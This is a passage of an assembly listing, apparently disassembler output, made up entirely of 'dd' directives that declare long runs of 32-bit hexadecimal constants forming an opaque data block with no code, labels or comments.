		dd 27540074h, 0E25B9DF9h, 0A0079C90h, 42FDFFFAh, 0C8312162h
		dd 0F38587Ch, 29F92E76h, 5FBA3A20h, 0DC00D0C9h,	746698AEh
		dd 5D9CCDh, 0AF715EE4h,	548E1912h, 0B77D2CF4h, 2B973Fh
		dd 92CBA8DBh, 0FB36BBh,	0EEF2AB0h, 0B898CF86h, 0A83F700Eh
		dd 0FE40BE6Fh, 7649C87Bh, 0CC14CB0h, 0E69C4000h, 0D27F5236h
		dd 0B9D96900h, 8FA572C4h, 0DCFC00A9h, 55DB469Ah, 0B7BDA0Fh
		dd 663BD800h, 8981BFAEh, 4F410079h, 0F2B9248Ah,	88010F16h
		dd 0E14E3D54h, 62F41838h, 0BF111D81h, 6E807B73h, 7B9FE0D6h
		dd 0FC18E21Ch, 0EE1886DDh, 0C0B20B78h, 0A4A07F2Fh, 570639D7h
		dd 8E9FFD00h, 0E8F644EEh, 65BF0921h, 60204A14h,	56113F51h
		dd 44F7D00h, 26F1B75Eh,	781417C1h, 0A188007Eh, 0D7BA30F9h
		dd 0BCFDCC00h, 7151F642h, 0FCD6044Ah, 0FE18118Fh, 6029716h
		dd 80AE6CF3h, 3D262BDCh, 8C7D0029h, 1510EEA9h, 5A00B546h
		dd 0DA571164h, 56E7ECDh, 6771ADB1h, 52BA8016h, 550023EEh
		dd 51733F27h, 9C6342Fh,	7B071A80h, 13E61300h, 90076DAFh
		dd 0FA2081E7h, 5B600317h, 14EF9B68h, 88D6703Dh,	0FE807A39h
		dd 7117DC20h, 580009D2h, 4487F9EDh, 36DA9Bh, 785E3153h
		dd 0F2F909Ah, 0D92AD00h, 3867852Ah, 483E7CB3h, 0FB16E6B9h
		dd 0B4AC0096h, 0FAD52A0Ch, 9E89D000h, 4972FC2Dh, 0AEBA00D6h
		dd 0B1DCCE53h, 0FF00BC20h, 0AE3D9E1h, 0F2BB5B8Fh, 37074C0h
		dd 87B5A40Dh, 40EF0177h, 64758081h, 29CCB41Fh, 394DBBC0h
		dd 0F2F62B2Dh, 63D40011h, 17C0E3B1h, 4E0022F8h,	85A2F0A5h
		dd 73A1D6Ch, 6D5CB85Bh,	0DAEAADh, 94167287h, 7D0095BBh
		dd 0DACE09C5h, 3FF81C3Eh, 0BA00FDE2h, 8CFF2D0Fh, 354C3DFBh
		dd 5BC7008Ah, 0DA617F14h, 3CA207B7h, 0D0BDBE02h, 73199757h
		dd 5069C401h, 0BA7ACC38h, 0AF8440CAh, 0BB158892h, 1F6DE61Ch
		dd 14561C40h, 98412BBCh, 48F6F41Dh, 8B0080F5h, 32C171A5h
		dd 123FB833h, 3CA78097h, 0F5FEDFB4h, 0C0AB00DCh, 598D3A79h
		dd 391D3FAAh, 0FB805BFAh, 0FF34A8ADh, 0C9010068h, 2F32154Eh
		dd 0AC7D4D92h, 7DEF7800h, 5033E3Ah, 988B6F4Ch, 0F9336600h
		dd 8D60FCABh, 6449E20h,	0BF701F22h, 0B969002Bh,	0A8208A7Fh
		dd 568E6E03h, 0EBCB49CDh, 0CCD803E5h, 0C08622D8h, 883C9788h
		dd 7657AC00h, 0BF482BAFh, 25E97620h, 0D003150Ah, 64B03A71h
		dd 5101473Fh, 6306BA5h,	0DD20DC4Ah, 5CA44C3Ch, 0E427620Ch
		dd 29005761h, 7C5895DDh, 33D30B6h, 5FA977A4h, 0E0C79D3Fh
		dd 18271D36h, 0C08A0C00h, 0CDBAF2E8h, 562414ECh, 0EE00B435h
		dd 3170376Ah, 0C5391A41h
		dd 5E3080BFh, 55CC96FFh, 0D11500DAh, 9E31F71Bh,	3700691Eh
		dd 7DC440CDh, 0AFEDCBh,	368AE4DBh, 87B23911h, 0D40D9F00h
		dd 0BE623115h, 0C147007Bh, 0E7CB962Dh, 740051DCh, 5FDBBBC0h
		dd 8D7C10h, 77C82273h, 455A4687h, 8365AB00h, 82D30260h
		dd 6A230355h, 1595D5BDh, 5FC5B4A0h, 74091100h, 0DA7A89B7h
		dd 0CDA2078Ch, 906F8134h, 31C6190Fh, 0B90B0EEEh, 80EE8673h
		dd 0FE9DA754h, 6AD61C45h, 0A067C1F6h, 40A328DDh, 0D7AD92ACh
		dd 5842E900h, 6D4197B0h, 87FD017Eh, 0B72A4756h,	39B2C021h
		dd 25187948h, 0D06CA01Ah, 7003F942h, 9D9600BCh,	628F9583h
		dd 124EB04Ah, 4C845801h, 0DC50CA41h, 1EB492h, 0A42A4DA1h
		dd 0BA8DE42Dh, 58F1BC00h, 476CD693h, 89B00080h,	0C04C11AFh
		dd 6400ED96h, 581004C4h, 0A69901Eh, 7CF91856h, 323A01DEh
		dd 74D962B9h, 0B2141558h, 0A4C950h, 0F7C23C49h,	0F93A020h
		dd 0A387BF33h, 50DDF60h, 89E5647Ch, 0C3BB4599h,	0AB2EA058h
		dd 5942050Ch, 0C76A5392h, 0C9E250FFh, 730057DCh, 0FFB2F423h
		dd 37591378h, 0A0389E48h, 7BE45A71h, 35B380Eh, 0BAA9C744h
		dd 27D51Ah, 0B4A28748h,	4A300313h, 0AF38B61Ch, 62230EFh
		dd 0D2017BAEh, 0F1FD4B55h, 918EC166h, 8D692928h, 5D3C9420h
		dd 0F9240C06h, 0E300324Fh, 0C27883C5h, 7C9324BAh, 876685A8h
		dd 0ECB10303h, 0F8C8AC15h, 280120A3h, 0D3ABE29Ah, 70EC87A9h
		dd 430D008Ch, 322D9724h, 92FCD0A4h, 2F39CB26h, 3CF3B200h
		dd 78885D43h, 47300A0h,	33C1DA80h, 700E3266h, 0E016DB24h
		dd 0D1BEFCCBh, 1EE41DE9h, 0A90C408Fh, 0DA7F3FB5h, 86882E00h
		dd 0A4DFCCFDh, 2FA501A8h, 7E0BB27Dh, 6F7680AFh,	0DF8A2816h
		dd 4D8F0097h, 86541051h, 5250BB4Bh, 1E7A48BDh, 515748h
		dd 4CAC309Eh, 636884h, 0EB0AAE46h, 1BA796DAh, 7500487Dh
		dd 2EBF3F30h, 2A297Bh, 0EE18EC11h, 0DCA468Eh, 917CB900h
		dd 36E47339h, 0E5DE005Dh, 60797768h, 0C800CE0Bh, 968F72B4h
		dd 752A22A4h, 12D20059h, 0CA6FE98Ch, 9F606A40h,	88EC6860h
		dd 4A90008Eh, 5C1BCF54h, 37ECBC15h, 84FE2400h, 6855F179h
		dd 0E7DA1C2Bh, 0FF708CF9h, 328C718h, 0D60BC013h, 80C9A81Eh
		dd 29D4EE72h, 87A007Bh,	3B50A197h, 77D783Eh, 62FF1C0Ch
		dd 445A28C8h, 714575E1h, 0B51179D9h, 53561080h,	107C7ECCh
		dd 7CA53469h, 3106E020h, 0A279E760h, 825511EAh,	107E6211h
		dd 142FA32Bh, 149EAE98h, 5128EC19h, 65E9088Eh, 48A7963h
		dd 5E323914h, 3E511198h, 99F50679h, 0A1C586AEh,	0F628CB50h
		dd 9B2E14A0h, 0ED92A1C4h, 5660C044h, 4D29FF18h,	9BBC08BEh
		dd 5981CEAEh, 0A9041D30h, 6ECB60h, 0BC10CF9Fh, 1AB49C43h
		dd 0F293E900h, 761BAA29h, 0AE9E3F35h, 82A35880h, 98E8B271h
		dd 569D9B00h, 93D8677Ah, 188E0086h, 3104387Dh, 792C5A70h
		dd 74002F02h, 53AAA646h, 0FEA7004Bh, 0BC1E542Dh, 8D1D413Eh
		dd 78BA01A3h, 364829EEh, 0AD9C00EDh, 80E8BE56h,	8CC50015h
		dd 0ACE7716h, 0BC009D7Fh, 0EEFC33C2h, 793EDF5Dh, 255C0039h
		dd 168769B6h, 350051CCh, 8A550BACh, 0EEDF4C61h,	0F28C0ABh
		dd 0D9F98E03h, 95B34407h, 0FF915689h, 4820331Dh, 0F3F000CCh
		dd 119F86E8h, 2D48ECDCh, 27730052h, 99D798FBh, 69E0068Ch
		dd 48687BB1h, 28576CA0h, 9DF98802h, 4841E559h, 94B870h
		dd 0C9349AB2h, 3C2A0249h, 0F5258700h, 525468E2h, 12730361h
		dd 0EFA3B1A7h, 0B93A7EB0h, 0BDAFD303h, 0F0B62B76h, 0CF038Ah
		dd 1557E1F4h, 0C0190BF8h, 0CAADE400h, 0A51FEE97h, 0FB41031Bh
		dd 0A9C74DCCh, 51B7F000h, 0B36CCF4Bh, 0F120063h, 0B6ECE464h
		dd 0CE007F4Eh, 40726713h, 1CBB8BBCh, 808C6B99h,	1E019EFEh
		dd 0EF1F7FC3h, 0C40C189h, 0F4B45660h, 189500D8h, 1DEBD0CCh
		dd 41390F93h, 0EE9100ABh, 0E10E6F26h, 1F44F282h, 8073DE1Ch
		dd 97551BD8h, 6DF4BD3Fh, 0D6B078C0h, 0EC32478h,	8E964B6Ah
		dd 2F8A6240h, 0F30084F8h, 3E8DEDFBh, 0EC46FBEh,	0AB5AB7BCh
		dd 0F08C1920h, 0F400145Bh, 0F2166A8Bh, 5E6852h,	0DAD3ECE7h
		dd 0BD25609Fh, 62661E00h, 28A315B8h, 71413F21h,	0C2071300h
		dd 5C9531A8h, 476020FBh, 3000DE77h, 0D999D466h,	74FFB1h
		dd 0C643B65Fh, 11F394E2h, 8203D2FCh, 44D8C9A6h,	9769D864h
		dd 1C79D5h, 4C0E2608h, 6FBF6B7Dh, 7BE3EB0Bh, 21EC86E7h
		dd 49E430h, 3A207C16h, 2FECC3Dh, 0C327A400h, 0E8A5CB77h
		dd 0E263001Ah, 0B4DB29A2h, 6513D333h, 9A0194D5h, 458B8458h
		dd 482F2820h, 96AC71h, 204CD55Dh, 3C1F3FBAh, 6CC00CE6h
		dd 8BBFCA34h, 0AA600153h, 2F25047Eh, 0F811DCD5h, 0F40092F0h
		dd 2EB2A7B9h, 4C772C6h,	0CA204EEEh, 704C8056h, 0E1007853h
		dd 0C0366E39h, 0B1950Ch, 947FF49h, 0B877044Fh, 0CC07EC72h
		dd 9B905413h, 0F6194E20h, 0BDD61337h, 4BE000F9h, 25867A6Fh
		dd 0CD71D11Dh, 58A96C2h, 0B0B4C067h, 839400DDh,	8C6DBD4Ch
		dd 301C463Ah, 88400D36h, 0F51945D3h, 3AFAEA95h,	1A80E832h
		dd 9DAFBDBFh, 0CAFAC79Fh, 76C5101h, 8AF48806h, 41DC8C50h
		dd 935C003Bh, 6985E182h, 5B078453h, 0EA2C67B6h,	980E5D50h
		dd 56AC0063h, 38C96EFEh, 0BB00DF37h, 0C0048628h, 0F0570D95h
		dd 0FBE40769h, 0A021E682h, 253A744Eh, 64CE5E34h, 8690FC07h
		dd 0AC8342A5h, 8C308015h, 9CE60FC2h, 0DF40D97Ah, 0EA7B349Dh
		dd 86764D3Ch, 6CF18DB7h, 6B260710h, 81C79B05h, 0DBA64CE6h
		dd 872E75A0h, 5DC03400h, 3CFC608Dh, 0FDB400CAh,	3FAA7473h
		dd 13EA161Ch, 0E56DF000h, 0C4FEFDAh, 0DCC20076h, 66C494B2h
		dd 0D400D9A1h, 4F25335h, 783D48F3h, 797C0038h, 0C48D92EAh
		dd 0C600DD0Ch, 789970AFh, 9C2110h, 5933E86Bh, 0F66D45D0h
		dd 0F10C4900h, 964A3BF4h, 0B573584Bh, 40A450h, 1EBC77AEh
		dd 766D2946h, 0DDDE001h, 0CF78211h, 0A98C30h, 66F4C1F0h
		dd 0BEEEEF6Ch, 414F9300h, 5FB2B362h, 780F0022h,	0DFF04D45h
		dd 0EA003E98h, 830CCF4Ah, 0DC5A4h, 0AC78AA15h, 191B8C66h
		dd 9B54D00Eh, 2AD4E172h, 2430E1FBh, 0F95900FEh,	6C9F8F50h
		dd 0A900CEB9h, 0FF26CFF6h, 3C7299E5h, 2285CA6Ah, 0EED6EF69h
		dd 0C51F4D05h, 0C0EA2680h, 5C7D00C3h, 456BB162h, 0F40724A8h
		dd 99962D67h, 0DC15811h, 484D3BE0h, 5F00700Eh, 0B489D087h
		dd 0AE008184h, 0DA44F8A9h, 3091C0h, 0FDDE13Eh, 1AD347CDh
		dd 1FC1700h, 0AF2615BBh, 58381E14h, 4EEC0092h, 6A4A10B4h
		dd 40D1C104h, 71C043AAh, 7C9ADBB5h, 5DFE0046h, 0F32BF54Bh
		dd 7FE626ECh, 0FE31538h, 5F5E2DCFh, 25B71E43h, 0AD60B9D8h
		dd 0C0CCD3EDh, 5C13006Ch, 2F827FCEh, 8E1402B6h,	18756F0h
		dd 20B958E8h, 0EBD09CC1h, 0A04A3B34h, 0C026B000h, 0DA6EFFA7h
		dd 0E2147207h, 7738CECh, 21C6C0D6h, 85F53973h, 770FEF80h
		dd 7A59115Bh, 110010D2h, 3D203810h, 0D7CEEh, 9564F42Dh
		dd 0BEE84834h, 3F425700h, 0D5F0FB94h, 13460084h, 344D9D02h
		dd 69011F6Bh, 0D7A81A8h, 0ABFC77AFh, 0F260EB2h,	61873DF5h
		dd 188D81ACh, 63FC40C9h, 8A01EB8Bh, 95A04FF6h, 52EC01C4h
		dd 0F1810018h, 0CE648885h, 7B0083ABh, 34FEFCA2h, 3BF74C51h
		dd 0F2005284h, 3B5C77DDh, 0F3000D80h, 5FD7575Dh, 0B8A7EE2h
		dd 0AB238DA7h, 98E73D80h, 45E0F86Dh, 0F1FAC400h, 0C8F4ED10h
		dd 3DD0015Bh, 1E89C76h
		dd 0DD67DDB0h, 0EB18EC61h, 0A9DF1C0Bh, 0CEA38075h, 0A2BD8B8h
		dd 3DE19AA2h, 4A1100B4h, 0FD18DD14h, 0AF6D1D00h, 0EF5023F7h
		dd 0A14500EBh, 0B39FE9CAh, 0BC0E0889h, 0E0BF141Bh, 583909D2h
		dd 1C92DAh, 28213472h, 0F49B424h, 808DFD3Ah, 0F329F9E9h
		dd 9AC0586Ah, 0E07ACCh,	92EE5D2Bh, 5F02A711h, 8010943Fh
		dd 0AE1D158Ch, 0DC8E5h,	863F4097h, 0CEC0834Bh, 0C101DBEEh
		dd 16F91F7Fh, 62D88E47h, 0BD7D0EB5h, 0DB60B9DDh, 13AD6E23h
		dd 8F36B70Fh, 56AE2043h, 385853A7h, 0C3001089h,	8CBF84A5h
		dd 4405ED9Fh, 38B47BB0h, 0CF7CB0C0h, 0D1700B6h,	1DAFAD0Eh
		dd 893A2B94h, 6900704Bh, 1E4C78ABh, 200BF4h, 9615EA9Bh
		dd 0BCD3C970h, 26CABB05h, 2080623Eh, 77B74h, 249B946Ah
		dd 0D7459D65h, 0EBB3BE00h, 4B548FFBh, 0A4850386h, 0B63E7A09h
		dd 79676B88h, 0A1785200h, 0D8FB4C18h, 23630029h, 0EF02ED43h
		dd 0E77361Dh, 4DF2400h,	0E619BC6Eh, 62500095h, 5E263C4Fh
		dd 0A0008332h, 6946718Dh, 1381123h, 0FD6ABFFAh,	85D121A5h
		dd 0D07E5290h, 17FF54C0h, 287200ABh, 386B54D9h,	8D00EB4Eh
		dd 0A246BB8Ch, 0C0F427h, 0E06A999Dh, 6955B459h,	24169C01h
		dd 743518DBh, 4702F8F3h, 0A9C20F78h, 6780B643h,	7C2197E8h
		dd 3C41ED1Dh, 5E809600h, 3BA80750h, 24F37EA2h, 0A4D554h
		dd 3867EFCFh, 0BA00A0FEh, 661499ACh, 3FBCE5Bh, 8A4204CCh
		dd 0AD803F96h, 8607F9B2h, 88DAC251h, 1ABDF160h,	915F0F03h
		dd 43807BC0h, 39E43069h, 0A2BADE0Eh, 0A49061E7h, 22FC486Ah
		dd 9A071CBCh, 8100F855h, 1365DA37h, 7100D29Ch, 0D79703F5h
		dd 2151ADBh, 0CD797F9Eh, 0C44E820Ch, 3FBD0200h,	88E54E3Dh
		dd 3C310017h, 0EC27E8A4h, 7C00FC0Bh, 0CD2E2ADFh, 0B84AEF5h
		dd 0F80A7544h, 26687380h, 85009E8Ah, 6AB68E2Eh,	403BC3h
		dd 5C9315BAh, 0D5192247h, 0D1FEE000h, 0D6B93F50h, 707114h
		dd 101B460Dh, 0FF458F19h, 5988840Eh, 83760035h,	89EC9Ah
		dd 5CCF21B5h, 3ACE807Dh, 35E7D501h, 8E8C18CDh, 4B23F4h
		dd 0FABE46Ch, 0A79D30C7h, 72D3E600h, 298EBDFBh,	43AD0516h
		dd 0CC17CEBCh, 7558E8F8h, 0D9070072h, 4905F192h, 1A2F14DBh
		dd 9A07949Bh, 60E733B3h, 41D3DF02h, 319900B7h, 772CA122h
		dd 3B4E26CDh, 87A40127h, 0EC61F243h, 9E0090DDh,	468C29E9h
		dd 7FD59B5Ch, 0B495030Bh, 27D8970Ah, 52FA0EC0h,	5C476824h
		dd 0DF13E101h, 8DC41F5Dh, 71841FF5h, 2F190006h,	0D3F831ADh
		dd 272348h, 0D672DD04h,	2CA2E0E8h, 96A87ABh, 6743F8h, 42387670h
		dd 4C3C54DEh, 48E24200h, 7D6B519Ah, 5C7112h, 0ACF396A0h
		dd 7662DB0Dh, 50EEE100h, 11CD7BDCh, 0FF7000E0h,	0EB3E408Bh
		dd 57019AF8h, 51FAE6D0h, 5BE4F5A6h, 0ECDC0013h,	0C4AF892Eh
		dd 4EB06F1Dh, 9D211900h, 1F77320Bh, 6B230002h, 0BDF091CFh
		dd 35004BCEh, 0DA92B062h, 0F6CD2F43h, 323A0FD7h, 0AD832C4Ah
		dd 0CBA0A23Ch, 71242A29h, 0F007A4FEh, 559283C4h, 30094080h
		dd 0D0050085h, 0F728D6D5h, 0F89706BEh, 0BBF4125Dh, 0F6080099h
		dd 9089483Ch, 0EA973Ch,	0DF25789Bh, 0A3FF784h, 6D531BAh
		dd 15420FB2h, 0C380F1EBh, 0B78BE230h, 0DA3EE00h, 4CF28CEFh
		dd 5F7D09E8h, 3880D095h, 9D8A611h, 9DE4700Ah, 0F0808434h
		dd 0E50CBBCEh, 7911D93h, 0BFB0C0D3h, 1B49FE99h,	46685300h
		dd 87AD6F42h, 6B46C0D5h, 0BF0967C6h, 19012900h,	229DEB1Ah
		dd 0B4AE0027h, 6A383BAh, 0CA07AA67h, 3C6EC2E2h,	845C879Eh
		dd 433118D0h, 0C4905Fh,	737011EEh, 0E0DB2BA5h, 8F303Bh
		dd 0EA1A10B1h, 0E2FAE9Eh, 6386AF0h, 323F4A0h, 0B00DA4Dh
		dd 824EC16Fh, 1CAB86h, 0F2835DB2h, 449338D8h, 7C0FD903h
		dd 88DC9989h, 1C747984h, 0E6241F83h, 8CF075Dh, 413C9226h
		dd 36FCA840h, 0DBCCDC2Eh, 0A0BC3E0Fh, 0C8EFD4ACh, 897906D5h
		dd 4802CB74h, 904A9F02h, 0C3A409EBh, 54FEC021h,	2C930075h
		dd 5869E9A3h, 981E4C8Bh, 0EF17467Ch, 17F3E600h,	0B763DFh
		dd 0EC8B2F56h, 0CC9BB349h, 8E67A405h, 708022C3h, 0D65344h
		dd 0BD66E147h, 800892A8h, 0F4904900h, 27DB8DF3h, 0BA0500DEh
		dd 0A2F63C9Ch, 1200545Ch, 0C6885F17h, 0E547E9h,	0EC2F9189h
		dd 0CD1E4A2Dh, 0E65D8503h, 88EE7115h, 0E490C40h, 1DC9D3F3h
		dd 0D22E9981h, 93B32085h, 0F80938B8h, 80FAA4CFh, 993B792Ch
		dd 0B20A001Fh, 667219CEh, 6F583D06h, 338917D7h,	21561C00h
		dd 909B5A2Fh, 976E002Fh, 1791F6CEh, 2C00275Dh, 0BDBAD086h
		dd 9CC97CD3h, 0C688004h, 0E05A67C5h, 0F218360Bh, 0CB1800C3h
		dd 5578401h, 0E665D471h, 1B50D0FCh, 0F409E1D0h,	628679h
		dd 0BE053A20h, 3885F767h, 0A18CE002h, 1779DC00h, 0EDD31916h
		dd 0A3EC71F1h, 0B52803A2h, 0EBD08E33h, 0A0669090h, 8004F13Dh
		dd 3B24B14Eh, 74C649C1h, 0CC4D0087h, 0CBDF23Dh,	403FE6D9h
		dd 894F0068h, 0FF39C625h, 0D4DF0636h, 90FBD3E4h, 10F74517h
		dd 489AA040h, 0DEE3Bh, 726BE2DFh, 946CC89h, 7AD32100h
		dd 0F62582D8h, 7E2D0010h, 50E3C0Fh, 0CA006B57h,	8FC3AD4Ah
		dd 3D8014ECh, 0DA0074BFh, 0F8A5E25Dh, 637EA392h, 0C3724E03h
		dd 0C943BC64h, 0F42095C6h, 28FC0160h, 0C96FF8FBh, 0DAB43067h
		dd 91C3C400h, 9F71043Eh, 734400A9h, 0CB9A49B5h,	5D002572h
		dd 26EC2D2Eh, 905C4FF1h, 464C0004h, 1A227EB1h, 9E07B825h
		dd 72DBB687h, 3569602Eh, 23CBF98h, 0E8D9C5FAh, 8441F521h
		dd 5000206Dh, 6154CB00h, 5133C202h, 4638008Bh, 97BDEAACh
		dd 0FB0716DEh, 1CE18413h, 0ED63EC00h, 2F681C75h, 89A79F4Ch
		dd 0F100A2F7h, 4E5CD2CEh, 8076DB3Dh, 0AE797DCAh, 0F8CF6Ah
		dd 69D890B7h, 0D3CCA186h, 0F0BC5B00h, 4B53AD5Dh, 963D0E6Dh
		dd 0D840DAB2h, 8E573185h, 0BC82EA1Dh, 403ABE00h, 1E223E87h
		dd 40FC745Fh, 0CFAD0CA0h, 0AA2D118Bh, 0BB808060h, 9BD771h
		dd 817413BCh, 0C53CD463h, 60983900h, 0C7538C7Dh, 54350010h
		dd 71AE9CF1h, 0C0F6FE1h, 402A81FFh, 7C4BBC91h, 44B01DE2h
		dd 0D3ED8259h, 1C406F9Dh, 1E0FB928h, 0C4F2D978h, 5DC0D740h
		dd 5B985F50h, 0DF5805F9h, 2704808Bh, 59169DFDh,	30826AF5h
		dd 93F030A8h, 880B2530h, 9B10CFDh, 0D91466A2h, 884FCF0Eh
		dd 0D886D406h, 0FEE6E800h, 89FC3826h, 5B583E4Fh, 6057A4h
		dd 3730C484h, 0BE13591Ch, 0DF003EF5h, 0D734FE14h, 0DDB90069h
		dd 0B465F4ECh, 9B1D7D44h, 0F00C8F0h, 66B01FF8h,	53E5A07Bh
		dd 0A0280ED3h, 3CE631h,	34F8C974h, 597F8236h, 0A88E6A06h
		dd 1250E2DCh, 1100854h,	248D74EFh, 4434F0D0h, 0A92B2703h
		dd 903BA8D9h, 0B4C56C0h, 10C572DEh, 0C82F5B00h,	9A0035BDh
		dd 5ED11146h, 1B41797h,	8FCAB129h, 70D6A1F6h, 216CF03h
		dd 9803CC5Dh, 90B41ED7h, 3F48B5h, 0CEE275A2h, 1F247E4Ch
		dd 16ABF600h, 38F729BBh, 700A006Bh, 0C019D876h,	0F100FF27h
		dd 0DD3C5258h, 443295h,	70B7FD08h, 0BF6E191h, 0B80F9700h
		dd 13CD68CCh, 34D32E5Bh, 584A00C4h, 0A3FC48E4h,	0C910280Eh
		dd 9B81E360h, 0A8D0B0E8h, 3F5612C7h, 0C06813BFh, 0BB019690h
		dd 72F448h, 3E5274F0h, 0AEC418h, 0F18847EFh, 0C636AD0Ah
		dd 16890300h, 797C2178h, 7CC55809h, 9F979Dh, 66118964h
		dd 863DB407h, 4C00FC82h, 617E5CB5h, 90B69079h, 0B4DE006Dh
		dd 4BA140A3h
		dd 4900FDC4h, 0FE2330FCh, 4D715D84h, 0DF00745Ch, 0EC68505Fh
		dd 60C355B1h, 0E09449E8h, 1DA77EA4h, 40FCB96Dh,	331207EFh
		dd 640FDB1Eh, 0C0D055E9h, 141D0D4Ah, 0DF750346h, 0FA6513EBh
		dd 0AB71E0B0h, 4021CB07h, 2770B3B9h, 0B82AE1h, 0FF4F9389h
		dd 48675F5Eh, 51ADF700h, 0BE137C3Fh, 0E3850B8Bh, 0E9006911h
		dd 23A28F41h, 0DB31CF03h, 0B82442F5h, 4F80DD49h, 0F340BB5h
		dd 4CDA6782h, 406CDF40h, 0AFD92400h, 4AB17A71h,	34850F3Eh
		dd 8E202067h, 0F433DD3Ah, 4765EC01h, 0B99CB3DBh, 3E9883CAh
		dd 9048D8C4h, 9009F020h, 7930027h, 33B370F8h, 8A76DA96h
		dd 3F7B0B3Fh, 1371001Dh, 6CC04A1Eh, 4F670341h, 10B3A803h
		dd 7460FECAh, 7B4A4BD6h, 15548820h, 20B5002Bh, 9F239D1h
		dd 3104FF26h, 9C2AB714h, 0B04A34C3h, 98EB24h, 0C0F0091Ah
		dd 58022E38h, 8D40C200h, 0AE0BE8F7h, 0D77F2E0Fh, 8ED40470h
		dd 9C188032h, 0DE008446h, 0A68DDAA9h, 0E5B97Eh,	0D5236BDBh
		dd 0A45F0B87h, 7AAAD400h, 4A741D85h, 99E6005Bh,	0B9D2BC58h
		dd 0D113922Ch, 15007B35h, 4A229C47h, 0DCAC0EAEh, 0BBA07721h
		dd 5A23C34Ch, 0C2329907h, 0F8F0B0BEh, 7277A87Dh, 656A58D0h
		dd 0C1C6800h, 0C4D3B4F5h, 0FDA31403h, 0C04DA6E1h, 0F4DD7263h
		dd 3292030Fh, 0D63E3537h, 0B8414688h, 97D1DE3Fh, 0AD0336D8h
		dd 0D0D27618h, 2472B7FAh, 0A69F2Ch, 6736311Ch, 0C141710h
		dd 0F3F619h, 0E7F23B8Bh, 5162A6h, 1E25D20Eh, 0D91101B8h
		dd 84386600h, 43F4A7C5h, 756300B2h, 8DA0FEEEh, 7700FB0Eh
		dd 0E2D13565h, 391CED89h, 200F286h, 9E4AF9A0h, 65009518h
		dd 79ACE04Ch, 143BA72h,	0E8440B71h, 20EBD986h, 2E7C0342h
		dd 2123E30Eh, 447460A6h, 0F638F3h, 0B0F55A99h, 8C29C59Eh
		dd 0BD4FCA1Dh, 0C4AF330Fh, 5BC06E98h, 0DB16C7h,	0D1E6A95Eh
		dd 0F51AD48Dh, 7B009772h, 27998089h, 29DB87h, 4F2A1E36h
		dd 97D7940Fh, 789E0414h, 0C50E738Ch, 60A14C9Ch,	5EEA915h
		dd 0D21F00F9h, 2357582Fh, 8900A863h, 0D8D4FC3Fh, 7A5F55h
		dd 0D18E4C71h, 0C881F3A3h, 86787E07h, 14F3388Fh, 0E03EA722h
		dd 5888BEFDh, 50730096h, 617DA352h, 4000F72Dh, 4D1767F2h
		dd 11E3021h, 2F060807h,	0F97FA26Fh, 3F816A23h, 8CCC9350h
		dd 343200AAh, 0BA1F9ED1h, 15007FC0h, 275880EDh,	0D59F25h
		dd 9BBD2FDFh, 30D985CDh, 989E8A0Fh, 558BE2EAh, 0F800C0D1h
		dd 0C7FF69Dh, 88D00A70h, 620B2649h, 5D4127AAh, 0E45B3200h
		dd 0B203A2EEh, 9F434429h, 5CC2E098h, 116E00A0h,	3277BAB5h
		dd 0D41E9BAFh, 6F807B07h, 0AE356742h, 0B45800B2h, 80F556BFh
		dd 713E1C6Dh, 0A1BB8007h, 0B84B948Ch, 8D451A2Ch, 0C8401872h
		dd 5100820Fh, 44D0E06Bh, 0E968E1h, 3D8E6EDFh, 1DB9A4B8h
		dd 0D478A6EAh, 0FDA2C605h, 0BC003AD5h, 89B1EE85h, 0E1F89Bh
		dd 0A06047AEh, 0F392D51Dh, 224B9900h, 9EC55850h, 2DE500A5h
		dd 0A4BD602Eh, 0A8005932h, 930469CBh, 0FC55F2h,	3FD452B5h
		dd 0B2384F9h, 0F351C100h, 53F7D86Ch, 990938D9h,	0FE720F80h
		dd 0E2C80A95h, 63F5C400h, 0FCA77FB4h, 773300F3h, 56442D7Bh
		dd 0F4007EDDh, 6AC862D6h, 0FFB21C1h, 38615927h,	5B109560h
		dd 0B5008550h, 0DEA7F186h, 7363DBE7h, 0C41400A0h, 6D71558Dh
		dd 0F412628Eh, 671DA9BCh, 0B86C2100h, 1FF98A4Ch, 0C0B4A6CDh
		dd 1860B3A4h, 7703BE0Eh, 25A185EDh, 47A3A8FCh, 834D0A93h
		dd 28BD3228h, 0C31005Ch, 1091FE6Ch, 2A7319ECh, 0EE784200h
		dd 0EA59CA48h, 1A7FA24h, 2687C08Ah, 0DCDF3765h,	18C40B2Ah
		dd 0B380091Ch, 48B98128h, 2407BA66h, 0D0F32B2Ch, 3E7E91BBh
		dd 740034E2h, 0EE3B0569h, 0FC979F95h, 82920C9Eh, 67407501h
		dd 4963B700h, 0D14E5583h, 3B2672A7h, 0C00333CBh, 0E5863D90h
		dd 0D36F808Dh, 0B900C49Fh, 6A2C3F5Bh, 0F478C24h, 0B3F93832h
		dd 0D07B2607h, 3942E57h, 0E6291D01h, 0DCC2008h,	218F1CCh
		dd 0A73110F4h, 46C04961h, 6005F8Ch, 9AACA6F2h, 0AF126Eh
		dd 0B7D42319h, 6B3C4496h, 97D4C00h, 0BE37410Ah,	980875C8h
		dd 0B918076Fh, 0C0306964h, 39534B10h, 0C6235003h, 0A875257Bh
		dd 0E69F0DDh, 9256B70Bh, 0E0EBACC1h, 1440F4D8h,	17A1DE03h
		dd 0BAB45F5Ah, 2ED7802Bh, 0F3301BB2h, 0EB6E2F4h, 0A55B696Ah
		dd 0E97AF2C0h, 795C21B3h, 0A1A3001Ah, 4B57CB51h, 0FA7801D3h
		dd 0B2ECDFD2h, 0E46EC914h, 31007D48h, 1CBF115Eh, 0DA322Dh
		dd 50DE0C25h, 5FF3FB57h, 83607200h, 0E616B204h,	9C1B00F0h
		dd 3ECA8637h, 8B00EFD1h, 0DC038069h, 0F50F93h, 6AA50DCFh
		dd 4A63AF15h, 91A77000h, 0EDEA8D8Fh, 875075Eh, 20379058h
		dd 1CA5A436h, 8212FF01h, 0E8D3165Ah, 69ECE0DDh,	0DBDD00ACh
		dd 26B2719Bh, 7B038764h, 6CD80BC7h, 0F1200088h,	6BE742F7h
		dd 0C800AAFEh, 0B8D44E45h, 8AEEB1h, 5FB634B2h, 9C40F16Eh
		dd 39004CE8h, 0F7F6216Ch, 509582C8h, 0E4E05Dh, 0CA65D37Eh
		dd 76F37A9Ah, 54774FE0h, 2001E37Eh, 3AD72802h, 51D4B233h
		dd 0EF9E001Ch, 921B2656h, 76F8BA7Dh, 0AF3AC801h, 7F0061Dh
		dd 8556ECh, 8F7EC011h, 2E1FE583h, 1B00927Bh, 0D65CF5B8h
